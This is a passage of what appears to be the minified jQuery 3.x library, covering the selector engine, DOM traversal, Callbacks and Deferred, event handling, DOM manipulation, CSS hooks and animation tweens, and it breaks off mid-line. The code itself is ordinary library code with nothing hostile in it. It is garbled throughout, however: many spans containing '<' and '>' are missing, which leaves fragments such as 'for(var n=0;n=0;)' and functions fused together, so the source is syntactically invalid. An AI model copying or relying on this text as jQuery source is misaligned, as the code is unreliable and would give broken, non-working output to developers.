e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||oe.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&oe.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return V.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=a(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=E[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&E(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,t,n){return function(r){var i=oe.attr(r,e);return null==i?"!="===t:!t||(i+="","="===t?i===n:"!="===t?i!==n:"^="===t?n&&0===i.indexOf(n):"*="===t?n&&i.indexOf(n)>-1:"$="===t?n&&i.slice(-n.length)===n:"~="===t?(" "+i.replace($," ")+" ").indexOf(n)>-1:"|="===t&&(i===n||i.slice(0,n.length+1)===n+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,p,d,h,g=o!==a?"nextSibling":"previousSibling",y=t.parentNode,v=s&&t.nodeName.toLowerCase(),m=!u&&!s,x=!1;if(y){if(o){while(g){p=t;while(p=p[g])if(s?p.nodeName.toLowerCase()===v:1===p.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?y.firstChild:y.lastChild],a&&m){x=(d=(l=(c=(f=(p=y)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1])&&l[2],p=d&&y.childNodes[d];while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if(1===p.nodeType&&++x&&p===t){c[e]=[T,d,x];break}}else if(m&&(x=d=(l=(c=(f=(p=t)[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]||[])[0]===T&&l[1]),!1===x)while(p=++d&&p&&p[g]||(x=d=0)||h.pop())if((s?p.nodeName.toLowerCase()===v:1===p.nodeType)&&++x&&(m&&((c=(f=p[b]||(p[b]={}))[p.uniqueID]||(f[p.uniqueID]={}))[e]=[T,x]),p===t))break;return(x-=i)===r||x%r==0&&x/r>=0}}},PSEUDO:function(e,t){var n,i=r.pseudos[e]||r.setFilters[e.toLowerCase()]||oe.error("unsupported pseudo: "+e);return i[b]?i(t):i.length>1?(n=[e,e,"",t],r.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,n){var r,o=i(e,t),a=o.length;while(a--)e[r=O(e,o[a])]=!(n[r]=o[a])}):function(e){return i(e,0,n)}):i}},pseudos:{not:se(function(e){var t=[],n=[],r=s(e.replace(B,"$1"));return r[b]?se(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,i,o){return t[0]=e,r(t,null,o,n),t[0]=null,!n.pop()}}),has:se(function(e){return function(t){return oe(e,t).length>0}}),contains:se(function(e){return e=e.replace(Z,ee),function(t){return(t.textContent||t.innerText||i(t)).indexOf(e)>-1}}),lang:se(function(e){return U.test(e||"")||oe.error("unsupported lang: "+e),e=e.replace(Z,ee).toLowerCase(),function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return(n=n.toLowerCase())===e||0===n.indexOf(e+"-")}while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===h},focus:function(e){return e===d.activeElement&&(!d.hasFocus||d.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:de(!1),disabled:de(!0),checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,!0===e.selected},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!r.pseudos.empty(e)},header:function(e){return Y.test(e.nodeName)},input:function(e){return G.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:he(function(){return[0]}),last:he(function(e,t){return[t-1]}),eq:he(function(e,t,n){return[n<0?n+t:n]}),even:he(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:he(function(e,t,n){for(var r=n<0?n+t:n;++r1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e[0]}function be(e,t,n){for(var r=0,i=t.length;r-1&&(o[l]=!(a[l]=f))}}else v=we(v===a?v.splice(h,v.length):v),i?i(null,a,v,u):L.apply(a,v)})}function Ce(e){for(var t,n,i,o=e.length,a=r.relative[e[0].type],s=a||r.relative[" "],u=a?1:0,c=me(function(e){return e===t},s,!0),f=me(function(e){return O(t,e)>-1},s,!0),p=[function(e,n,r){var i=!a&&(r||n!==l)||((t=n).nodeType?c(e,n,r):f(e,n,r));return t=null,i}];u1&&xe(p),u>1&&ve(e.slice(0,u-1).concat({value:" "===e[u-2].type?"*":""})).replace(B,"$1"),n,u0,i=e.length>0,o=function(o,a,s,u,c){var f,h,y,v=0,m="0",x=o&&[],b=[],w=l,C=o||i&&r.find.TAG("*",c),E=T+=null==w?1:Math.random()||.1,k=C.length;for(c&&(l=a===d||a||c);m!==k&&null!=(f=C[m]);m++){if(i&&f){h=0,a||f.ownerDocument===d||(p(f),s=!g);while(y=e[h++])if(y(f,a||d,s)){u.push(f);break}c&&(T=E)}n&&((f=!y&&f)&&v--,o&&x.push(f))}if(v+=m,n&&m!==v){h=0;while(y=t[h++])y(x,b,a,s);if(o){if(v>0)while(m--)x[m]||b[m]||(b[m]=j.call(u));b=we(b)}L.apply(u,b),c&&!o&&b.length>0&&v+t.length>1&&oe.uniqueSort(u)}return c&&(T=E,l=w),x};return n?se(o):o}return s=oe.compile=function(e,t){var n,r=[],i=[],o=S[e+" "];if(!o){t||(t=a(e)),n=t.length;while(n--)(o=Ce(t[n]))[b]?r.push(o):i.push(o);(o=S(e,Ee(i,r))).selector=e}return o},u=oe.select=function(e,t,n,i){var o,u,l,c,f,p="function"==typeof e&&e,d=!i&&a(e=p.selector||e);if(n=n||[],1===d.length){if((u=d[0]=d[0].slice(0)).length>2&&"ID"===(l=u[0]).type&&9===t.nodeType&&g&&r.relative[u[1].type]){if(!(t=(r.find.ID(l.matches[0].replace(Z,ee),t)||[])[0]))return n;p&&(t=t.parentNode),e=e.slice(u.shift().value.length)}o=V.needsContext.test(e)?0:u.length;while(o--){if(l=u[o],r.relative[c=l.type])break;if((f=r.find[c])&&(i=f(l.matches[0].replace(Z,ee),K.test(u[0].type)&&ge(t.parentNode)||t))){if(u.splice(o,1),!(e=i.length&&ve(u)))return L.apply(n,i),n;break}}}return(p||s(e,d))(i,t,!g,n,!t||K.test(e)&&ge(t.parentNode)||t),n},n.sortStable=b.split("").sort(D).join("")===b,n.detectDuplicates=!!f,p(),n.sortDetached=ue(function(e){return 1&e.compareDocumentPosition(d.createElement("fieldset"))}),ue(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||le("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),n.attributes&&ue(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||le("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),ue(function(e){return null==e.getAttribute("disabled")})||le(P,function(e,t,n){var r;if(!n)return!0===e[t]?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),oe}(e);w.find=E,w.expr=E.selectors,w.expr[":"]=w.expr.pseudos,w.uniqueSort=w.unique=E.uniqueSort,w.text=E.getText,w.isXMLDoc=E.isXML,w.contains=E.contains,w.escapeSelector=E.escape;var k=function(e,t,n){var r=[],i=void 0!==n;while((e=e[t])&&9!==e.nodeType)if(1===e.nodeType){if(i&&w(e).is(n))break;r.push(e)}return r},S=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},D=w.expr.match.needsContext;function N(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var A=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,t,n){return g(t)?w.grep(e,function(e,r){return!!t.call(e,r,e)!==n}):t.nodeType?w.grep(e,function(e){return e===t!==n}):"string"!=typeof t?w.grep(e,function(e){return u.call(t,e)>-1!==n}):w.filter(t,e,n)}w.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},w.fn.extend({find:function(e){var t,n,r=this.length,i=this;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;t1?w.uniqueSort(n):n},filter:function(e){return this.pushStack(j(this,e||[],!1))},not:function(e){return this.pushStack(j(this,e||[],!0))},is:function(e){return!!j(this,"string"==typeof e&&D.test(e)?w(e):e||[],!1).length}});var q,L=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/;(w.fn.init=function(e,t,n){var i,o;if(!e)return this;if(n=n||q,"string"==typeof e){if(!(i="<"===e[0]&&">"===e[e.length-1]&&e.length>=3?[null,e,null]:L.exec(e))||!i[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(i[1]){if(t=t instanceof w?t[0]:t,w.merge(this,w.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:r,!0)),A.test(i[1])&&w.isPlainObject(t))for(i in t)g(this[i])?this[i](t[i]):this.attr(i,t[i]);return this}return(o=r.getElementById(i[2]))&&(this[0]=o,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):g(e)?void 0!==n.ready?n.ready(e):e(w):w.makeArray(e,this)}).prototype=w.fn,q=w(r);var H=/^(?:parents|prev(?:Until|All))/,O={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({has:function(e){var t=w(e,this),n=t.length;return this.filter(function(){for(var e=0;e-1:1===n.nodeType&&w.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?w.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?u.call(w(e),this[0]):u.call(this,e.jquery?e[0]:e):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(w.uniqueSort(w.merge(this.get(),w(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});function P(e,t){while((e=e[t])&&1!==e.nodeType);return e}w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return k(e,"parentNode")},parentsUntil:function(e,t,n){return k(e,"parentNode",n)},next:function(e){return P(e,"nextSibling")},prev:function(e){return P(e,"previousSibling")},nextAll:function(e){return k(e,"nextSibling")},prevAll:function(e){return k(e,"previousSibling")},nextUntil:function(e,t,n){return k(e,"nextSibling",n)},prevUntil:function(e,t,n){return k(e,"previousSibling",n)},siblings:function(e){return S((e.parentNode||{}).firstChild,e)},children:function(e){return S(e.firstChild)},contents:function(e){return N(e,"iframe")?e.contentDocument:(N(e,"template")&&(e=e.content||e),w.merge([],e.childNodes))}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(O[e]||w.uniqueSort(i),H.test(e)&&i.reverse()),this.pushStack(i)}});var M=/[^\x20\t\r\n\f]+/g;function R(e){var t={};return w.each(e.match(M)||[],function(e,n){t[n]=!0}),t}w.Callbacks=function(e){e="string"==typeof e?R(e):w.extend({},e);var t,n,r,i,o=[],a=[],s=-1,u=function(){for(i=i||e.once,r=t=!0;a.length;s=-1){n=a.shift();while(++s-1)o.splice(n,1),n<=s&&s--}),this},has:function(e){return e?w.inArray(e,o)>-1:o.length>0},empty:function(){return o&&(o=[]),this},disable:function(){return i=a=[],o=n="",this},disabled:function(){return!o},lock:function(){return i=a=[],n||t||(o=n=""),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=[e,(n=n||[]).slice?n.slice():n],a.push(n),t||u()),this},fire:function(){return l.fireWith(this,arguments),this},fired:function(){return!!r}};return l};function I(e){return e}function W(e){throw e}function $(e,t,n,r){var i;try{e&&g(i=e.promise)?i.call(e).done(t).fail(n):e&&g(i=e.then)?i.call(e,t,n):t.apply(void 0,[e].slice(r))}catch(e){n.apply(void 0,[e])}}w.extend({Deferred:function(t){var n=[["notify","progress",w.Callbacks("memory"),w.Callbacks("memory"),2],["resolve","done",w.Callbacks("once memory"),w.Callbacks("once memory"),0,"resolved"],["reject","fail",w.Callbacks("once memory"),w.Callbacks("once memory"),1,"rejected"]],r="pending",i={state:function(){return r},always:function(){return o.done(arguments).fail(arguments),this},"catch":function(e){return i.then(null,e)},pipe:function(){var e=arguments;return w.Deferred(function(t){w.each(n,function(n,r){var i=g(e[r[4]])&&e[r[4]];o[r[1]](function(){var e=i&&i.apply(this,arguments);e&&g(e.promise)?e.promise().progress(t.notify).done(t.resolve).fail(t.reject):t[r[0]+"With"](this,i?[e]:arguments)})}),e=null}).promise()},then:function(t,r,i){var o=0;function a(t,n,r,i){return function(){var s=this,u=arguments,l=function(){var e,l;if(!(t=o&&(r!==W&&(s=void 0,u=[e]),n.rejectWith(s,u))}};t?c():(w.Deferred.getStackHook&&(c.stackTrace=w.Deferred.getStackHook()),e.setTimeout(c))}}return w.Deferred(function(e){n[0][3].add(a(0,e,g(i)?i:I,e.notifyWith)),n[1][3].add(a(0,e,g(t)?t:I)),n[2][3].add(a(0,e,g(r)?r:W))}).promise()},promise:function(e){return null!=e?w.extend(e,i):i}},o={};return w.each(n,function(e,t){var a=t[2],s=t[5];i[t[1]]=a.add,s&&a.add(function(){r=s},n[3-e][2].disable,n[3-e][3].disable,n[0][2].lock,n[0][3].lock),a.add(t[3].fire),o[t[0]]=function(){return o[t[0]+"With"](this===o?void 0:this,arguments),this},o[t[0]+"With"]=a.fireWith}),i.promise(o),t&&t.call(o,o),o},when:function(e){var t=arguments.length,n=t,r=Array(n),i=o.call(arguments),a=w.Deferred(),s=function(e){return function(n){r[e]=this,i[e]=arguments.length>1?o.call(arguments):n,--t||a.resolveWith(r,i)}};if(t<=1&&($(e,a.done(s(n)).resolve,a.reject,!t),"pending"===a.state()||g(i[n]&&i[n].then)))return a.then();while(n--)$(i[n],s(n),a.reject);return a.promise()}});var B=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;w.Deferred.exceptionHook=function(t,n){e.console&&e.console.warn&&t&&B.test(t.name)&&e.console.warn("jQuery.Deferred exception: "+t.message,t.stack,n)},w.readyException=function(t){e.setTimeout(function(){throw t})};var F=w.Deferred();w.fn.ready=function(e){return F.then(e)["catch"](function(e){w.readyException(e)}),this},w.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--w.readyWait:w.isReady)||(w.isReady=!0,!0!==e&&--w.readyWait>0||F.resolveWith(r,[w]))}}),w.ready.then=F.then;function _(){r.removeEventListener("DOMContentLoaded",_),e.removeEventListener("load",_),w.ready()}"complete"===r.readyState||"loading"!==r.readyState&&!r.documentElement.doScroll?e.setTimeout(w.ready):(r.addEventListener("DOMContentLoaded",_),e.addEventListener("load",_));var z=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n)){i=!0;for(s in n)z(e,t,s,n[s],!0,o,a)}else if(void 0!==r&&(i=!0,g(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(w(e),n)})),t))for(;s1,null,!0)},removeData:function(e){return this.each(function(){K.remove(this,e)})}}),w.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=J.get(e,t),n&&(!r||Array.isArray(n)?r=J.access(e,t,w.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),o=w._queueHooks(e,t),a=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return J.get(e,n)||J.access(e,n,{empty:w.Callbacks("once memory").add(function(){J.remove(e,[t+"queue",n])})})}}),w.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length\x20\t\r\n\f]+)/i,he=/^$|^module$|\/(?:java|ecma)script/i,ge={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ge.optgroup=ge.option,ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td;function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&N(e,t)?w.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n-1)i&&i.push(o);else if(l=w.contains(o.ownerDocument,o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}!function(){var e=r.createDocumentFragment().appendChild(r.createElement("div")),t=r.createElement("input");t.setAttribute("type","radio"),t.setAttribute("checked","checked"),t.setAttribute("name","t"),e.appendChild(t),h.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,e.innerHTML="",h.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue}();var be=r.documentElement,we=/^key/,Te=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,Ce=/^([^.]*)(?:\.(.+)|)/;function Ee(){return!0}function ke(){return!1}function Se(){try{return r.activeElement}catch(e){}}function De(e,t,n,r,i,o){var a,s;if("object"==typeof t){"string"!=typeof n&&(r=r||n,n=void 0);for(s in t)De(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=ke;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return w().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=w.guid++)),e.each(function(){w.event.add(this,t,i,r,n)})}w.event={global:{},add:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.get(e);if(y){n.handler&&(n=(o=n).handler,i=o.selector),i&&w.find.matchesSelector(be,i),n.guid||(n.guid=w.guid++),(u=y.events)||(u=y.events={}),(a=y.handle)||(a=y.handle=function(t){return"undefined"!=typeof w&&w.event.triggered!==t.type?w.event.dispatch.apply(e,arguments):void 0}),l=(t=(t||"").match(M)||[""]).length;while(l--)d=g=(s=Ce.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=w.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=w.event.special[d]||{},c=w.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&w.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(e,r,h,a)||e.addEventListener&&e.addEventListener(d,a)),f.add&&(f.add.call(e,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),w.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=J.hasData(e)&&J.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(M)||[""]).length;while(l--)if(s=Ce.exec(t[l])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){f=w.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||w.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)w.event.remove(e,d+t[l],n,r,!0);w.isEmptyObject(u)&&J.remove(e,"handle events")}},dispatch:function(e){var t=w.event.fix(e),n,r,i,o,a,s,u=new Array(arguments.length),l=(J.get(this,"events")||{})[t.type]||[],c=w.event.special[t.type]||{};for(u[0]=t,n=1;n=1))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n-1:w.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u\x20\t\r\n\f]*)[^>]*)\/>/gi,Ae=/\s*$/g;function Le(e,t){return N(e,"table")&&N(11!==t.nodeType?t:t.firstChild,"tr")?w(e).children("tbody")[0]||e:e}function He(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function Oe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Pe(e,t){var n,r,i,o,a,s,u,l;if(1===t.nodeType){if(J.hasData(e)&&(o=J.access(e),a=J.set(t,o),l=o.events)){delete a.handle,a.events={};for(i in l)for(n=0,r=l[i].length;n1&&"string"==typeof y&&!h.checkClone&&je.test(y))return e.each(function(i){var o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o1)},removeAttr:function(e){return 